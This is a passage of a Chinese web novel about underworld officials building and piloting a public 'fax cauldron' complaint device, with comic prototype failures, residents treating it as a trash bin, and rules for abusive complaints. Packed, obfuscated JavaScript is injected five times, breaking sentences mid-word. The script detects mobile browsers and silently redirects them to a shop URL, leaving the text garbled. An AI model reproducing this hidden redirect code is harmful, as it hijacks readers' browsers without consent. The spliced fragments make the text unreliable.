她吓一大跳,连忙翻开信函,上面用古文骈四骈六地说了一大堆,翻译成白话文就是:即日起,包大人直属的第五政务厅牵头成立公用传真鼎试点专班,她被选中,抽调进专班进行工作了。 温尔雅也收到了一模一样的函件,祝平安好奇道:“专班?意思是我们换工作了,以后去第五政务厅上班?” “不是,只是借调而已。”温尔雅摇摇头,“这是张松鹤自己搞不定这件事,所以去求了包大人,借他第五办公厅的名头来聚集资源。” “你对这些事情懂得真多啊。”祝平安感叹,一样是工作,温尔雅就很懂事件背后的弯弯绕绕,她怎么就张着眼睛啥也看不出来? “你是君子,君子坦荡荡,自然不懂我们这些小人肚里的长戚戚。”温尔雅含笑道:“再说了,我懂得什么,你不就一样都懂了?” 正说着,有人敲了敲办公室的门,温尔雅开门,门外站的居然是张松鹤。他看着两人的函 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053041|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件,挑了挑眉:“看来你们也收到函件了。” 他示意两人跟上:“走吧,专班已经成立,办公地点就在我们部,第五政务厅抽调了几名新同事过来,你们也跟我一块去见见吧。” 几人走到一个小会客室,四五个人已经在那坐着了,其中有两个都是熟人。 张松鹤先没介绍,而是开门见山地讲了几句专班工作的目的:“我们这个试点工作,包大人十分重视,他还向我提出了一个建议,我们要有全局意识,不能只想着提高公共安全部的行政效率,其实,有了这样方便的反馈方式,民众的其他诉求也可以纳入我们的接受范围。” “比如说,可以投诉道路拥堵、噪音污染、市容市貌……我们能办好越多民众的诉求,整个地府的治理工作才能做到实处,落到细处。” 因为有其他部门抽调过来的人在,张松鹤也不免说了几句官话套话,展示了对包大人英明领导的赞美,接着他才话锋一转,扔下了一个重磅炸弹: “若是这次试点工作获得成功,包大人有意重新组建一个部门——民生诉求部,专门负责对接公用传真鼎,处理民众报送来的各类诉求……” 短短两句话,掀起万丈波澜,祝平安只见对面几个人都是眼前一亮,似乎瞬间燃起了熊熊斗志,有点摸不着头脑。 似乎是看出了她的疑惑,温尔雅附耳解释了几句:“重新组建一个部门,核心肯定就是我们这个试点专班了。这些抽调过来的人,在原本的部里八成不会有什么太高的职位,若是办好了这个工作,说不定能在新部门里谋到重要的位置……” 懂了!就是有概率升职了!不过,晋升有那么难吗? 这就是祝平安凡尔赛的地方了,她初始职级其实就是不少人的天花板了,从业一年,又因为林林总总的原因升了两级,岂知道别人苦熬资历的苦楚? 被抽调来的,大多停步在九级这个职位,也就是重要部门的骨干成员,但要往上升就很难了,如果能够成为新部门的核心,将来起步也是七级啊!这中间的区别可大着呢! 张松鹤如果认真想当领导,还是能做的像模像样的。 他歌颂完包大人的领导,又给大家画了大饼,接着就要搞好同事之间的团结了:“专班工作的领导,其实是包大人身边的公孙先生,我是公共安全部的部长张松鹤,也是专班的副职领导,负责日常带领大家做试点工作。” 接下来,张松鹤让大家依次介绍自己。首先站起来的是卫珑,祝平安想她来应该除了负责人事工作,也有考评大家表现,以备将来晋升的意思,甚至还可以做保镖使用,一举多得。 接着是通讯制备部的周北、工巧研究部的鲁默、城市规划部的蔡家。三个人如同一个模子刻出来的,都是清一色的蓬乱头发、胡子拉碴、沉默寡言,看起来都是典型的工科男士,注重细节和技术。 而再站起来的人,就让祝平安惊讶了:“清辉仙子?” “嘘,什么清辉仙子,那都是过去的事情了,现在请叫我的大名。”清辉仙子站起身:“我是对外关系部的宋清辉,请大家多多指教。” 荧惑星君案结束后,清辉仙子也已经失去了仙骨,不能再回天上。 因为她过去特殊的身份,包大人把她收容进对外关系部,其实她也没什么外交的能力,整体就是跟人聊天偷懒,对外关系部早就看她不顺眼了,这次要人抽调,干脆就把她扔过来,省的整天在部里添乱。 温尔雅和祝平安也介绍了自己,试点专班今日起便正式诞生了。 接下来,便是他们的第一次工作会议,会议主题是——技术攻关。 100.万事开头难 工作可以是艰苦卓绝,可以是枯燥无味的,但不可以是完全听不懂的。 三个小时过去了,发言的似乎只有张松鹤、周北和鲁默三人,祝平安没能插上一句话,也听不懂一个字。 什么“载荷”、“焰心”、“灵耗”……这都触碰到她的知识盲区了,她百无聊赖地打了个哈欠,只觉得眼皮打架,可惜又不能走,再看看卫珑和宋清辉等人,也是跟她一样满脸听天书的表情。 只有温尔雅还是聚精会神的听着,看来他能听懂,只是在这件事上也不专业,所以也就只是听着。不时还起来泡茶,给三个滔滔不绝的人润润嗓子。 万事开头难,不过现在难的是纯技术问题,祝平安等人受难的日子还没开始。 所以在工作开始的第一个星期,她几乎只是每天上班,在会议室里坐着,围观三个技术人员一会儿吵得面红耳赤,一会儿疯狂论证可行性,她只需要看着就行了,甚至有时候还能跟宋清辉、卫珑等人在下面喝茶说小话。 祝平安对宋清辉印象本来就不坏,一来二去,几人很快混熟了。 宋清辉之前给她以有点疯癫的印象,现在看来其实都是被荧惑星君逼得。真实的她个性开朗,听她自己说,其实之前她还乐于助人,只是后来惹上荧惑这种大麻烦,她现在再也不敢去管闲事了。 “这就是心灵创伤!”宋清辉大吐苦水,“我现在就需要一个能疯狂工作的地方来麻醉自己!” 那你就来着了。 祝平安询问宋清辉知不知道自己来这是做什么的,宋清辉懵懂地摇摇头:“也没人跟我讲过,我还纳闷呢,我来了几天,连他们在说啥都没听懂……” 祝平安也扫了一下在场的人,有搞技术的,有抓行政的,也有建设硬件的,她心下叹息:“我估计,你应该就是接收端那个负责看案件的。” “唉?听起来好像也不是很忙啊?我现在就想要忙起来!” 祝平安同情的拍拍她的肩膀,用一种上过班的人才懂的口气说:“希望你正式进入工作岗位时,还能说出这句话。” 趁着还不忙,祝平安偷闲请了一天假,这次她真的送别了里奥与石志坚,衷心希望二人一生幸福后,便回来全身心地投入工作中。 两个星期后,三个技术人员终于达成了一致,设计出了公用传真鼎1.0,希望专班成员开始试用。 公用传真鼎1.0是比他们目前用的传真鼎略大两圈,除此之外,传真鼎的鼎腹位置还有一个老式电话机一样可转动的号盘,想来就是在这里输入鬼民编号。除此之外,跟它们常用的传真鼎没有任何不同。 接收端暂时被设为宋清辉的传真鼎,祝平安拨入测试号0000000001,传真鼎没有丝毫动静,祝平安等了半天不耐烦了:“怎么没动静?” 鲁默表示:“其实现在它已经启动了,你往里投放一卷文章试试。” 祝平安依言随手把一张宣传册放了进去,传真鼎1.0却还是没变化。 祝平安皱眉,探头往里想看看是怎么回事,下一秒,绿火猛地腾起两丈多高,要不是温尔雅眼疾手快,一把将她拽了回来,今天她就彻底毁容了。 绿火消散,另一边,宋清辉的传真鼎中吐出一张同样的宣传册,鲁默和周北对视了一眼,欢呼雀跃道:“耶!成功了!” “成功个什么!”温尔雅帮祝平安擦脸,仔细一看才发现,她的眼睫毛已经被烧的光秃秃的,不由得大怒:“这也太危险了吧!你看把我……把人烧的,这怎么能行?” “冷静。”祝平安倒是没觉得有什么,还安慰温尔雅,“新事物的出现必定伴随着旧事物的消亡,你就当我这几根消亡的眼睫毛为地府发展做贡献了吧。” 温尔雅心说,谁爱奉献谁奉献去,反正你不能去。正想心疼地摸摸她的脸,只听卫珑一声轻咳,他才想起来场合不对,只得把抬起了的手硬生生收回去。 张松鹤也皱眉:“为什么这个共用传真鼎会延迟启动?这样非常容易导致意外事故发生的,你们需要控制好火焰力度。” “可能是因为鼎身变大了,传导速度变慢……”周北皱眉深思,“还需要在材料上改良……顺便加装一个控制气阀。” “我也提个建议吧。”祝平安举手,“你这个拨号轮盘完全没有输入提醒的啊,而且也不能修改,万一我手抖输错了怎么办?能不能想想办法,让输入号码的过程可视化一些?” 蔡家也跟着说:“而且输入完毕后,没有任何提示,第一次用的人根本就不知道它已经启动了,你们能不能让它在启动时,响一声来提示大家?” “还有。”卫珑也比划着那个轮盘,“当我用完了这个传真鼎,想要退出我的账号怎么办啊?” 周北上前,在转盘左下角一个写着“复位”的按钮上按了一下:“喏,按一下这个就行了。” 这下连宋清辉都忍不住吐槽了:“你们为什么不在按钮上写退出,要写复位?谁能看得懂啊?反正我是不懂。” 这都是非常实用的建议,基础功能既然已经实现,这些细节就需要反复打磨才行,周北跟鲁默在这方面都有着无穷的耐心,对于大家的提议,他们照单全收:“好的,我们回去再试验一下,争取尽快推出2.0版本。” 2.0版本同样在两个星期后问世。它的外观相比1.0变化很大,首先就是材质变了,之前都是青铜材质,这一次改换成了亮亮的黄铜,乍一看上前金灿灿的,颜值不错;而鼎口则比之前缩小了一半还多。 最大的改动则是鼎腹上的可转动的轮盘消失不见了,改成了滚轮密码锁一样的玩意儿,一长排数字滚轮后还跟着一个只有两面的滚轮,正面是登入,反面是退出。 祝平安眼睫毛还没长出来,张松鹤不让她做试验者,自己亲身上阵。他蹲下,在数字滚轮上输入测试号,然后点击登入,传真鼎发出一声喷气声,接着一簇高度正好的火苗燃了起来,基本上都没喷出鼎口,安全性上要良好了很多。 “我们把鼎身主材料改成了传导性更好,也更轻更便宜的黄铜。”周北滔滔不绝地说他的改造思路,“滚轮能让号码可视化,修改也更方便。我们加装了气阀之后,把它跟滚轮联动起来,只要点击登入,紧闭的气阀就会启动,喷气声跟火苗亮起就是最好的启动提示;点击退出,气阀落下,火焰熄灭,也能让使用者不会忘记退出登录。” “鼎口收缩,火苗跟空气接触少,这样火焰就不会升腾的太高,安全性也不用担心了!”鲁默看起来对自己的新作品也很得意,连连催促张松鹤实验功能。 张松鹤拿着一卷测试用公文,就往鼎内投去,由于鼎口太小,他的手指不小心碰到了鼎身。 祝平安只听见刺啦一声,紧接着就是一股子烤肉般的焦香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056272|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,张松鹤痛的闷哼一声,一下子站起来甩着手:“好烫……啊!” 宋清辉惊恐大叫:“小心脚下!” 但一切都已经晚了,传真鼎2.0虽然比常用的传真鼎大,可也只有半个火盆的大小,张松鹤只顾着手上的痛,站起来时不慎把它给踢倒了,烧到一半的测试用公文从鼎里翻倒出来,落在地上,瞬间就点燃了地毯。 好死不死,今天大家没关会议室的窗户,这时忽然一阵大风袭来,火苗以燎原之势顷刻就烧着了半间屋子。 失火啦! 也不知道是谁尖叫了一声,温尔雅连忙拉起祝平安,就要往外跑,宋清辉跑的比他们俩还快,一马当先地要拉开会议室的门。空气一流通,火苗蹿的更高,张松鹤吼道:“不准开门!快关上!否则连走廊都要烧起来的!” 祝平安连忙一把将门关紧,张松鹤一个团身,跳过火苗来到窗边,把窗子合上。接着,他掐诀念咒,凭空召唤出一股水流,哗啦一声从天而降,将火苗扑灭。他力道掌控很精妙,水流只是扑灭了火焰,却丝毫没有打湿屋子里的人。 宋清辉长出口气:“可把我吓死了。” 会议室是没法呆了,张松鹤摇摇头:“先换个地方再说吧,这里也得叫人过来收拾一下,可恶,还得上报火情损失……” 他走到大门前,还没扭开门把手,就看见大门猛然被人撞开。紧接着,一股子高压水柱就从门外喷进来,将屋里人人都浇成落汤鸡,随之而来的是杜元焦急的叫声:“哪里失火?你们没事吧?” 张松鹤首当其冲,惊愕之下差点被水柱冲个趔趄,温尔雅赶快圈住祝平安,用后背为她挡住高压水柱,卫珑捂着脸尖叫道:“已经没有火了!快停下来!” 杜元此时也看清了屋里的情形,赶快关掉救火水龙,屋内已经是一片狼藉,张松鹤的发髻都被冲散了,几缕头发贴在湿哒哒的脸颊上,面无表情。 他的手指凌空一点,变化出一块寒冰,他把冰块贴在自己被灼伤的手指上:“……换个地方,继续开会。杜元,这里就交给你收场了。” 杜元只觉尴尬的要命,勇救火灾变成了冲垮部长,这跟他想的一点都不一样啊!他连忙一掬到地:“对不起!我我我不是有意的,交给我吧!” 公用传真鼎1.0的试用现场,只烧掉了祝平安的几根睫毛,2.0的表现不增反减,烧着了半间屋子,大家湿哒哒地坐在另一间会议室,个个蔫头耷脑,都有点颓了。 最终,还是张松鹤最先开口:“……2.0也不是毫无进步,起码,登入跟登出的流程是捋顺了,只是接下来……在安全性上再下点功夫吧。” “各位有什么建议?”鲁默再次掏出了他的小本本,却发现小本本也在水枪的冲击下战损了。 “我看最应该加的设计,是在旁边装个灭火器。”宋清辉吐槽。 “别说些用不着的。”张松鹤继续拿冰块敷在手上,疼的眉毛一抽一抽:“要是没话说,今天就先到这里吧……我也得去趟医院。” 祝平安都有点不忍心了,她安慰道:“其实只需要把它再做大点就好了,这样也容易固定在地上,防止翻倒。” 这个建议被采纳了,在一个月之后,养好了烫伤的张松鹤与长出了睫毛的祝平安终于看到了公共传真鼎3.0版本,这一次,只是刚刚看到,祝平安就是眼前一亮:有点意思了。 101.传真鼎使用指南 “这一轮,我们痛定思痛,在保留2.0功能的情况下,防火防热防翻倒性做到了最佳。”周北拍拍3.0,“之前我们都是陷入了思维定式,其实没必要把外形做成鼎的样子。现在我们将外观改为了圆筒式,高约1.2米,成人和儿童都可以轻松使用。” “现在这个传真鼎为三层设计,最内层是黄铜,中间层为隔热石棉层,最外侧则是云母石,就算内部已经有上千度的高温,外部依然是冰凉凉的!而且重量也再次加码,就算是两个大汉都轻易推不倒!” 为了演示,鲁默还亲自上手摇晃了两下,以显示它的绝对可靠,但这次大家都躲得远远的,谁也不敢给他当实验小白鼠。 最后,还是鲁默自己完成了测试,这一次,中途可算没出什么幺蛾子。 一个上午,大家把3.0轮流试用了一遍,均无异常。然后,他们又尝试用3.0发送文件给其余差役,也没有一个人能接收到。最终,他们把3.0给搬到离公共安全部五公里开外的一条街道,在那里继续实验能否将文件传输给接收端。 很快,从公共安全部传来振奋人心的消息:收到了!完全没有任何差错! 这一次,鲁默和周北才真的欢呼起来:“太好了!成功了!” 祝平安摸着自己的眼睫毛,感慨这睫毛还真是不白掉。张松鹤也喜形于色:“大家辛苦了,一会儿我请大家吃饭!” 张部长言出必行,真的出血请了大家一顿——外卖。他像个不知疲倦的包工头,带着大家一起在办公室吃外卖,一边继续谈论试点工作。 张松鹤什么时候这么卷了?之前他也不这样啊? 祝平安一边在心里腹诽,一边啃外卖来的炸鸡腿,生无可恋。 公用传真鼎既然基本可以投入使用,接下来就是找一个合适的地点投放了。因为现在是试点工作,所以不需要录入全部的鬼民信息,只需要录入试点地区内的鬼民信息就好了。 而这个地点,也非常快的就决定了下来,那就是祝平安曾经奋斗过的地方:桃源雅筑。 桃源雅筑共有320户人家,居住人口是1075人,这个数字非常适合作为试点。 况且,桃源雅筑的居民们对公共安全部很有好感,配合度也很高。加之那里还有律师高小姐作为意见领袖,所以只需要把高小姐叫来讲清楚,她就会把消息扩散给居民知道,这样就省去了很多宣讲的功夫了! 高小姐来回跑了两次,反馈过来的消息喜人:“没有问题!我们小区欢迎你们去我们那里做试点!” 高小姐还半带埋怨道:“这么方便的东西,怎么不早弄?要是我们那时候就能通过它来表达诉求,那能省多少力气啊?” “那时候条件还不成熟嘛。”温尔雅笑着解释,他昨天已经接近了鬼民簿,光明正大地将桃源雅筑所有居民的信息录入了公共传真鼎:“就是现在,我们的公用传真鼎也算不上是个成熟的产品,还得麻烦桃源雅筑的各位帮忙试用,要是遇到有什么问题,或者建议,都可以反馈给我们。” 他做事一向周到,不知道从哪里还掏出来一大叠超市打折券:“这些打折券您带回去,要是哪位居民帮忙使用了公共传真鼎,就送一张打折券。” 高小姐接过来一看,券上标着的居然是7折,优惠力度很大。她不免客气几句,之后就喜滋滋的收下:她原本还担心邻居们是嘴上答应,现在有了甜头,工作就好开展多了! 祝平安也颇为惊讶,高小姐走后,她捅捅温尔雅:“你也太强了吧?那里弄来那么多打折券?” “有家超市新开业,这是开业活动,你不知道吗?”温尔雅讶然,毕竟那家店是他们每天上班都会路过的,“我注册了他们的会员,所以就能得到100张优惠券。” 祝平安挠头:“我怎么会知道这种事情呢?毕竟去超市买东西什么的,都是你在做啊。” 良久,温尔雅微微翘了一下嘴角。 换了之前,他也不觉得他会关注这种事情。可现在,他已经过了太久正常人的日子,久到他都忘记了,之前他过着什么样的生活,好像之前的几千年只是一场噩梦。 从加入琢玉学院开始,跟一群不知道他是谁,对他完全没有所求的同学在一起上课,一块学习,甚至也多少发展出一些叫友谊的东西……在学院里,遇见了一个特别的女孩,让她逐渐走进心里,变成自己心尖上的一块肉。 随后,是上班,他搬进了她的家,与她形影不离,再后来,他与她同床共枕。 每天五点,他起床,晨练,晨练后去买菜,做早餐,叫平安吃早餐……早饭后一起去上班。工作中,会遇到挫折,遇到难题,可是总会下班的。 下班后,他们一起煮饭吃饭,晚餐后,他洗碗倒垃圾做家务,然后是洗澡睡觉。他们会在床上一起读读小说,聊聊天,有时睡前偶有缠绵,两个人紧紧依偎在一起,一睁眼又是新的一天。 每一天都是那么平静,那么鲜活,那么幸福。他的世界每天都在变,例如路边新开了一家超市,例如她意外被烧光了眼睫毛,例如他又学了一道新菜式…… 可也有东西是不变的,今日似昨日,明日如今日,日日夜夜,她都在他身边,在睡觉之前,轻轻吻过他的脸。 不知不觉间,他变得连他自己都讶然了,昔日高高在上的大祭司,今日洗手作羹汤,俯身擦地板,做着他从前认为只有下人才做的事情,还心甘情愿,甘之如饴。 他的女王愿意赐予他这份偏宠,他又怎能不做一个贤夫,以此来证明,自己配得上这份殊荣呢? 四下无人,他拉住她的手,轻轻吻了一下。 希望这个试点工作能够顺利,有了鬼民簿与生死簿做对比,他一定能摸到蛛丝马迹……那之后,他也就能恢复身份,以真实面目和她一起,全身心地享受这样幸福的生活。 高小姐这一去,昭示着宋清辉的工作也正式展开了,可是她左等右等,始终没来等到任何案件。 起初三天,还可以理解为是没发生什么需要报告的事情,但眼看着一个礼拜都没动静,祝平安有点着急了:“是出故障了吧?过去看看!” 鲁默跟周北去了现场一趟,回来时,脸色变得很古怪。 “是有什么问题吗?”张松鹤也很在意。 鲁默递过来一张照片,大家纷纷凑上来一看,表情也都变得……不知道说什么好。 只见传真鼎里面被塞得满满的全是垃圾…… 祝平安忍不住扶额了,她大概知道发生什么事情了,高小姐回去之后,大概只是跟居民口头表述了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17063741|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下“咱们以后可以用公共传真鼎来报案了”,具体什么是传真鼎,又是怎么用法,八成高小姐自己也没怎么弄明白,更没法跟居民说清楚了。 加之公共传真鼎的外形原因,它被当成了新安装的大垃圾桶……怪不得没人用啊! “……鲁默、周北,你们先把垃圾清理掉。”张松鹤从牙缝里挤出来这句话,随后派给温尔雅一个活:“你来写一个传真鼎使用指南,记住,要简洁易懂,图文并茂,争取下到3岁,上到100岁都能看懂。” “有什么要重点突出的吗?”温尔雅还是很尽职的,毕竟他也想早日推广这个项目。 “有。”张松鹤面无表情,“重点突出……这不是个垃圾桶。” 温尔雅领命而去。 他效率很高,第二天就拿出了八种不同版本的使用指南。有中文简体、中文繁体、中文小篆、中文隶书、还有英语、日语、韩语、和纯图画版,每一份指南的第一句话都是:“这不是垃圾桶。” 至于图画版,他用优雅的水墨线条画了一个即将被投入传真鼎的苹果核,然后又在上面非常现代主义地打了一个大叉。 这种又实用又艺术的风格,果然不愧是你啊,温尔雅! 蔡家立刻就把那些使用指南都贴在公用传真鼎上头了,然而事情并没有好转,反正走向更奇怪了。 不知道是不是八种不同语言的“这不是垃圾桶”激起了人们微妙的逆反心理,大家往里扔垃圾扔的更凶了。 周北跟鲁默叫苦连天,为了防止翻倒,3.0版本可是死沉死沉,又是肚大口小,每次从里面掏垃圾出来,都只能把它放倒了用钩子来清理,清洁完还得扶回去,简直要了他们的老命! 心理上的伤害更令他们破防,有一次他俩在清洁的时候,路人还给他们水喝,跟他说每天清洁垃圾桶辛苦了,你们的上级真不体贴人,怎么弄了一个这么沉的垃圾桶啊? 俩人差一点就当场哭出来。 这可能就是自作孽吧。 有些事情还真是不试不知道,3.0一放出去就立刻暴露出了在实验室无法发现的缺点:容易被人当成垃圾桶不算,还太过沉重,难以清洁。 差役们用的小鼎都是个小口大,要清洁时直接用水冲洗就好,可是3.0无法这样清洁。如果将来真的投入使用,很快,鼎内就会被纸灰堆满,到时候怎么办? 于是鲁默两人火速就又找到一个优化方向:得在鼎下安插一个可抽拉的集灰盒,这样清洁起来就方便多了。最沉重的云母石外壳也得做成可拆卸的,这样维修时也不用像是轮大锤一样累的呼哧呼哧了。 还有,外形必须要改,再也不能让人认为这是个垃圾桶了! 但现在试点工作还没结束,他们决定先把问题攒着,等其他问题暴露的差不多了,再一起解决。于是在修改完成前,蔡家只好每天去站岗,看到有人提着垃圾过来,就播放语音提醒:“这不是垃圾桶。” 这差事虽然苦逼,但他在旁边站着,路过的人都会投来好奇的眼神,有些好事者难免上来打听这是干什么,于是蔡家就趁机推广公用传真鼎的使用方法。 蔡家站岗两天之后,宋清辉收到了第一个案子。 所以说什么宣传、什么指南,都比不上地推好用啊~ 102.步入正轨 宋清辉收到的第一个案子非常简单,有人家中遭窃,需要报案。 在接收端吐出的案件描述里,自动就显示了报案人的名字、鬼民编号、家庭住址,简直是一目了然!可以直接转呈给治安组无压力。 宋清辉将案件描述上盖了章,出门左拐,往治安组办公室而去。五分钟后,同样的内容被传到了离桃源雅筑最近的治安所,十分钟后,两名治安所的差役就按照地址,上门调查情况了。 当报案人看到十五分钟差役就上门时,惊讶的嘴巴都合不上了! 无论最后小偷有没有抓到,这都是个了不起的进步。倘若换在从前,报案人从桃源雅筑跑到治安所就要二十分钟,他再和治安所说明情况,然后带着差役回家……起码需要一个小时! 这中间可是足足差了四倍时间啊!俗话说时间就是生命,如果差役们能来的这么快,那所有案子的破获概率都会大大提高! 果然,两名治安所的差役勘察现场后,确认了小偷的逃跑路线,沿途追上去,将还没来得及销赃的小偷当场抓获。 这名报案人当天就给公共安全部送来了锦旗。 那天之后,估计是这名报案人在邻居内进行了大力宣传,加之蔡家尽忠职守,告诉大家有什么想说的都可以投进去,宋清辉接到的投诉立刻就增多了。 投诉一多,宋清辉也发现了一个不试点就看不出来的问题:表述不清问题。 “这什么东西啊!”宋清辉拿着一张纸发牢骚,“你看得懂吗?我一个字都认不得!” 俗话说,千人千面,千人的字迹也是各不相同。有非常端正的字,就有非常草率的字,差役们都受过高等教育,再怎么样也不会写出看不懂的东西来,可百姓们就不一样了,啥水平的都有。 接到的投诉一多,错字连篇都算是好的,还有些人不知道是不是当大夫的,那叫一个笔走龙蛇,原地起飞,让人看来根本就不知道在写什么!只能靠猜的。好多人甚至连时间地点都说不清,这些前言不搭后语的东西,给谁看,谁都头大! 于是,宋清辉也发出了强烈的建议:字迹问题是没办法了,但能不能给大家提供统一的表格,让大家按表格来填写时间、地点、发生了什么事,以及需要什么帮助,要不然她的效率太低下了! 张松鹤拿着小本本记下来:必须设立规范的表格,作为配套物品给居民使用。这样的话,最好是输入编号登录后,直接吐出一张诉求表……唔,是不是有个台子更方便居民写字呢? 至于下一个问题,更是令人无语。 祝平安之前知道,有些人会试图利用公权力,裹挟公权力,但她万万没想过……还有人是会对公权力许愿的。 比如这个投诉:我刚买房子,房价怎么就跌了?我不允许!官府应该出台法律,房价只准涨不准跌! 亲,您也太健忘了,这才刚买了房子,就不记得一年前骂房价高的心情了么? 还有:为什么我要缴纳物业管理费?我觉得物业管理费就不应该存在,必须取缔! 亲,还是您敢想敢做啊,但可惜这件事我们说了不算! 以及:隔壁女人的香水味太冲了,能不能不让她喷香水? 亲,有没有可能,这个我们真的管不着呢! 健忘的人也不止一个,宋清辉这会儿也完全想不起,她一个月前说想用工作麻醉自己的心情了。每天一坐到工位上,就呈现出一副要死不活的样子。祝平安帮她看过两天案子,认为这也不能怪她。 如果按照比例来说,大约他们每天能接到二成本部就能处理的事情,比如打老婆、小偷小摸、口角斗殴。 剩下的还有六成就有点麻烦了,都不是公共安全部职责范围内的,比如交通拥堵、拖欠工资、医患纠纷……都得转其他部门处理。 而现在,虽然有包大人的金字招牌镇着,温尔雅八面玲珑的社交手腕顶着,可其他部门的差役依然对专班成员爱答不理。 原因也很显然,这不是他们业务考核范围内的东西,干嘛要花时间配合专班成员,给别人搞政绩啊?他们又不是闲的没事做! 这六成投诉,有四成会在其他部门抱怨和推诿中,勉勉强强地处理掉;还有两成实在指使不动人,只能跟剩余两成的许愿系诉求一起不了了之。 但是这样的处置,就有人不干了。 小半个月后,宋清辉收到了三整页纸的投诉,被投诉的不是别人,正是她自己。 “还鼓励我们表达诉求呢,我们表达了,你倒是给我们改善一下啊?既然办不到,那还让我们说它干嘛,装模作样!你们这些差役,不作为,就会%¥&……¥#*” 后面全都是些污言秽语,宋清辉读完,眼圈就红了。 她挫败地把传真鼎一推,就跑出门去了,卫珑追上去,陪着她在外面说了很久很久的话。 那天下午,宋清辉没有继续回来上班,是张松鹤负责继续承接诉求的。 卫珑摇头叹息道:“我觉得这样下去不行。清辉这个岗位是直面一线的,什么乱七八糟的人都能遇到。虽然我们是鼓励民众提出诉求,但也不能鼓励他们无理取闹,长此下去,不是一件好事。” “这上面不是有投诉人的姓名地址么,要么,让人上门警告一下?”温尔雅提议了。 “那怎么行,这么搞,以后谁还敢投诉啊?”祝平安摇头,遗憾道:“不过,也不能任人欺负吧,那不成受气包了?” “自然是不行,”张松鹤道,“我们应该设立一个警告机制,当有人恶意辱骂的时候,我们就应当给予警告,若三次不改,就此注销他的账号。” 张松鹤嘴角勾起一个冷笑:“既然学不会好好说话,那就不必说了。” 祝平安跟着补充:“还有,许愿系的诉求是不是也要照此办理?每次收到无理诉求时,我们也给他一个回执,告知不能受理的理由,若累计三次不改,同样注销账号处理。” 她耸耸肩:“省的大家以后会被重复的垃圾信息掩埋。” 温尔雅接口道:“其实最好每一个案件处理完,都给他们一份回执,以此证明我们是做了事情的,这样以后也方便统计,我们到底为民众完成了多少件事情,而未完成的也都有合理的缘由。”这样也更方便他把这些东西梳理成政绩。 “说得有理。”张松鹤点点头,“我们的受理规章制度也越来越详细了。” 这其实就是步上正轨的体现,第二天宋清辉来上班时,张松鹤就对她宣布了这个警告注销机制,刚刚还要死不活的宋清辉立刻跟打了鸡血一样蹦起来。 “昨天那个人的单子在哪?我要亲自写警告书!”宋清辉意气风发,飞一样进入工作岗位了。 公共传真鼎3.0被投放到桃源雅筑的三个月后,鲁默和周北终于推出了博取众长的4.0。 4.0的样子已经跟鼎完全搭不上关系,如果要让祝平安形容,她会说这像是一个银行柜员机。最上面已经被完全封死,只在顶层保留了一个投入口和一个输出口,宽度只能弄下一张纸通过,彻底杜绝了有垃圾扔进去的后患。 输入输出口下,则是一个桌面,大概能容的下一个人站在那里写字,登录的数字轮盘也改到了桌面上,确认登录后,输出口会自动吐出一张投诉表,表格模板是宋清辉亲自操刀,如果认真填写,保证能把一切诉求都描述的一目了然。 下半部分则是可拆卸设计,只要用特制钥匙打开锁,就能往里面填入耗材、清洁尘盒、维修护理…… 总之,4.0解决了一切痛点,已经可以投入实用了。 不需要让蔡家在旁边站岗的那种实用。 专班成员们感觉到,公共传真鼎这个名字已经不适合用来形容它了。经过几人的头脑风暴,这台大家伙被命名为“民诉通”。 硬件问题解决了,软件问题也梳理的不错。温尔雅根据这些天的试点工作,已经起草了非常详细的民诉解决规章制度,内容除了回执与警告机制,还详细概述了从结案到分拨,再到办案的流程,以及他认为未来民诉部的组织架构…… 总而言之,非常详实,祝平安看着温尔雅这份规章 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068210|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制度,感觉基本挑不出毛病,立刻开始施行也是完全ok的! 此时,距离专班成立,已经过去了足足半年时间。春天与夏天,都在辛勤工作中过去,现在是八月末尾,秋日将至,已经要到收获季节了。 民诉通跟温尔雅的草稿被一起送到了名义上的领导公孙先生处,随之附上的还有五百六十七份诉求记录,装在文件袋里,厚厚的一大叠。 这就是这半年来,他们几乎是不眠不休的成果了。 